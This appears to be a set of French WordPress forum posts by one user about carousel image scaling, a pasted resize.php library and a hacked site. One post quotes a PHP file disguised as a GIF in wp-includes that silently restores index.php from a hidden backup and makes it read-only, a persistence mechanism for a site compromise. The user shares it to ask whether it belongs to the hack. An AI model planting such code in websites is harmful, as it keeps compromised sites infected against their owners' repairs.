RachPat (Créer un compte)

Merci pour la réponse, je comprends.

Je viens de rechercher une image scaled dans ma bibliothèque des médias et il se trouve que l’affiche de Kung-fu Panda 4 a été moulinée en scaled… et l’affichage est ok dans le caroussel (non tronquée sur les côtés). Du coup je me dis que le js additionnel pour le scaled n’est pas nécessaire…

D’autant qu’en faisant un test en important une nouvelle image lourde j’ai compris qu’il y a non seulement une moulinette pour générer un -scaled mais aussi pour supprimer l’image source, du coup j’imagine que le code js que vous m’avez fourni est valable pour les images -scaled qui sont finalement reconnus comme images sources.

Donc, c’est PARFAIT ! Merci encore !

Je passe cet échange en « résolu » et je vous souhaites à tous et toutes une très bonne journée !

Ohhhhh ! Merci pour ce message, ça m’intéresse vraiment de connaitre cette bidouille et dans ce cas je veillerai à préparer des images homothétiques pour toutes les affiches du carroussel…

C’est un css ou js additionnel à ajouter ? Merci d’avance si vous pouvez me donner le tuyau !

Très bonne soirée !

ah d’accord, je n’avais pas compris que l’on ne pouvait pas joindre des fichiers php !
voici donc le fichier resize.php en copié collé, avec en gras ce qui me semble intéressant (mais je suis peut-être complètement à côté de la plaque !)

<?php

/**
* Resizes an image and returns the resized URL. Uses native WordPress functionality.
*
* The function supports GD Library and ImageMagick. WordPress will pick whichever is most appropriate.
* If none of the supported libraries are available, the function will return the original image url.
*
* Images are saved to the WordPress uploads directory, just like images uploaded through the Media Library.
*
* Supports WordPress 3.5 and above.
*
* Based on resize.php by Matthew Ruddy (GPLv2 Licensed, Copyright (c) 2012, 2013)
* https://github.com/MatthewRuddy/Wordpress-Timthumb-alternative
*
* License: GPLv2
* http://www.gnu.org/licenses/gpl-2.0.html
*
* @author Ernesto Méndez (http://der-design.com)
* @author Matthew Ruddy (http://rivaslider.com)
*/

add_action(‘delete_attachment’, ‘mr_delete_resized_images’);

function mr_image_resize($url, $width = null, $height = null, $crop = true, $align = ‘c’, $retina = false) {

global $wpdb;

// Get common vars (func_get_args() only get specified values)
$common = mr_common_info($url, $width, $height, $crop, $align, $retina);

// Unpack vars if got an array…
if (is_array($common)) extract($common);

// … Otherwise, return error, null or image
else return $common;

if (!file_exists($dest_file_name)) {

// We only want to resize Media Library images, so we can be sure they get deleted correctly when appropriate.
$query = $wpdb->prepare(« SELECT * FROM $wpdb->posts WHERE guid=’%s' », $url);
$get_attachment = $wpdb->get_results($query);

// Load WordPress Image Editor
$editor = wp_get_image_editor($file_path);

// Print possible wp error
if (is_wp_error($editor)) {
if (is_user_logged_in()) print_r($editor);
return null;
}

if ($crop) {

$src_x = $src_y = 0;
$src_w = $orig_width;
$src_h = $orig_height;

$cmp_x = $orig_width / $dest_width;
$cmp_y = $orig_height / $dest_height;

// Calculate x or y coordinate and width or height of source
if ($cmp_x > $cmp_y) {

$src_w = round($orig_width / $cmp_x * $cmp_y);
$src_x = round(($orig_width – ($orig_width / $cmp_x * $cmp_y)) / 2);

} else if ($cmp_y > $cmp_x) {

$src_h = round($orig_height / $cmp_y * $cmp_x);
$src_y = round(($orig_height – ($orig_height / $cmp_y * $cmp_x)) / 2);

}

// Positional cropping. Uses code from timthumb.php under the GPL
if ($align && $align != ‘c’) {
if (strpos($align, ‘t’) !== false) {
$src_y = 0;
}
if (strpos($align, ‘b’) !== false) {
$src_y = $orig_height – $src_h;
}
if (strpos($align, ‘l’) !== false) {
$src_x = 0;
}
if (strpos($align, ‘r’) !== false) {
$src_x = $orig_width – $src_w;
}
}

// Crop image
$editor->crop($src_x, $src_y, $src_w, $src_h, $dest_width, $dest_height);

} else {

// Just resize image
$editor->resize($dest_width, $dest_height);

}

// Save image
$saved = $editor->save($dest_file_name);

// Print possible out of memory error
if (is_wp_error($saved)) {
if (is_user_logged_in()) {
print_r($saved);
unlink($dest_file_name);
}
return null;
}

// Add the resized dimensions and alignment to original image metadata, so the images
// can be deleted when the original image is delete from the Media Library.
if ($get_attachment) {
$metadata = wp_get_attachment_metadata($get_attachment[0]->ID);
if (isset($metadata[‘image_meta’])) {
$md = $saved[‘width’] . ‘x’ . $saved[‘height’];
if ($crop) $md .= ($align) ? « _${align} » : « _c »;
$metadata[‘image_meta’][‘resized_images’][] = $md;
wp_update_attachment_metadata($get_attachment[0]->ID, $metadata);
}
}

// Resized image url
$resized_url = str_replace(basename($url), basename($saved[‘path’]), $url);

} else {

// Resized image url
$resized_url = str_replace(basename($url), basename($dest_file_name), $url);

}

// Return resized url
return $resized_url;

}

// Returns common information shared by processing functions

function mr_common_info($url, $width, $height, $crop, $align, $retina) {

// Return null if url empty
if (empty($url)) {
return is_user_logged_in() ? « image_not_specified » : null;
}

// Return if nocrop is set on query string
if (preg_match(‘/(\?|&)nocrop/’, $url)) {
return $url;
}

// Get the image file path
$urlinfo = parse_url($url);
$wp_upload_dir = wp_upload_dir();

if (preg_match(‘/\/[0-9]{4}\/[0-9]{2}\/.+$/’, $urlinfo[‘path’], $matches)) {
$file_path = $wp_upload_dir[‘basedir’] . $matches[0];
} else {
$pathinfo = parse_url($url);
$uploads_dir = is_multisite() ? ‘/files/’ : ‘/wp-content/’;
$file_path = ABSPATH . str_replace(dirname($_SERVER[‘SCRIPT_NAME’]) . ‘/’,  », strstr($pathinfo[‘path’], $uploads_dir));
$file_path = preg_replace(‘/(\/\/)/’, ‘/’, $file_path);
}

// Don’t process a file that doesn’t exist
if (!file_exists($file_path)) {
return null; // Degrade gracefully
}

// Get original image size
$size = is_user_logged_in() ? getimagesize($file_path) : @getimagesize($file_path);

// If no size data obtained, return error or null
if (!$size) {
return is_user_logged_in() ? « getimagesize_error_common » : null;
}

// Set original width and height
list($orig_width, $orig_height, $orig_type) = $size;

// Generate width or height if not provided
if ($width && !$height) {
$height = floor($orig_height * ($width / $orig_width));
} else if ($height && !$width) {
$width = floor($orig_width * ($height / $orig_height));
} else if (!$width && !$height) {
return $url; // Return original url if no width/height provided
}

// Allow for different retina sizes
$retina = $retina ? ($retina === true ? 2 : $retina) : 1;

// Destination width and height variables
$dest_width = $width * $retina;
$dest_height = $height * $retina;

// Some additional info about the image
$info = pathinfo($file_path);
$dir = $info[‘dirname’];
$ext = $info[‘extension’];
$name = wp_basename($file_path, « .$ext »);

// Suffix applied to filename
$suffix = « ${dest_width}x${dest_height} »;

// Set align info on file
if ($crop) {
$suffix .= ($align) ? « _${align} » : « _c »;
}

// Get the destination file name
$dest_file_name = « ${dir}/${name}-${suffix}.${ext} »;

// Return info
return array(
‘dir’ => $dir,
‘name’ => $name,
‘ext’ => $ext,
‘suffix’ => $suffix,
‘orig_width’ => $orig_width,
‘orig_height’ => $orig_height,
‘orig_type’ => $orig_type,
‘dest_width’ => $dest_width,
‘dest_height’ => $dest_height,
‘file_path’ => $file_path,
‘dest_file_name’ => $dest_file_name,
);

}

// Deletes the resized images when the original image is deleted from the WordPress Media Library.

function mr_delete_resized_images($post_id) {

// Get attachment image metadata
$metadata = wp_get_attachment_metadata($post_id);

// Return if no metadata is found
if (!$metadata) return;

// Return if we don’t have the proper metadata
if (!isset($metadata[‘file’]) || !isset($metadata[‘image_meta’][‘resized_images’])) return;

$wp_upload_dir = wp_upload_dir();
$pathinfo = pathinfo($metadata[‘file’]);
$resized_images = $metadata[‘image_meta’][‘resized_images’];

// Delete the resized images
foreach ($resized_images as $dims) {

// Get the resized images filename
$file = $wp_upload_dir[‘basedir’] . ‘/’ . $pathinfo[‘dirname’] . ‘/’ . $pathinfo[‘filename’] . ‘-‘ . $dims . ‘.’ . $pathinfo[‘extension’];

// Delete the resized image (if it has not yet been deleted)
@unlink($file);

}

}

oooops, mon fichier joint n’a pas pu être joint, voici donc son adresse :

https://cinelefoyer.com/wp-content/uploads/amy-movie/multi-cinema/multi-cinema.json

 

Merci beaucoup pour ces conseils et merci vraiment à ce forum d’exister, c’est toujours une mine d’informations !

Merci beaucoup pour cette réponse et ce tuto… bien fastidieux en effet mais c’est super d’avoir cette route… à suivre !

Pour info, j’ai détecté un drôle de fichier « soi-disant gif » dans le wp-include (en faisant des comparaisons avec le wp-include de base de wp) :

il s’agit du fichier wp-includes > images > 1eCOxV.gif

et quand on l’ouvre il dit :

<?php
$in = « /home/brasseriip/www/index.php »;
$bkin = « /home/brasseriip/www/wp-includes/images/Ty2Kzn.htm »;
if($in && file_exists($bkin)){
if(!file_exists($in) or (filesize($in) != filesize($bkin))){
@chmod($in,0644);
@file_put_contents($in,file_get_contents($bkin));
@chmod($in,0444);
}
}
?>

Si vous comprenez le code, pensez-vous que ça fasse partie de la clé du piratage ?

Merci de votre intérêt pour la question et bonne fin de journée

 

Nos messages se sont croisés, je viens de mettre votre 3ème proposition… MERVEILLEUX, cette fois ça fonctionne ! Bravo !

Si je peux vous demander encore un petit détail : voyez-vous un moyen de faire passer l’info « amy_genre » au-dessus du bandeau des dates qui correspond à « mpaa »

Mais déjà, c’est génial, merci beaucoup !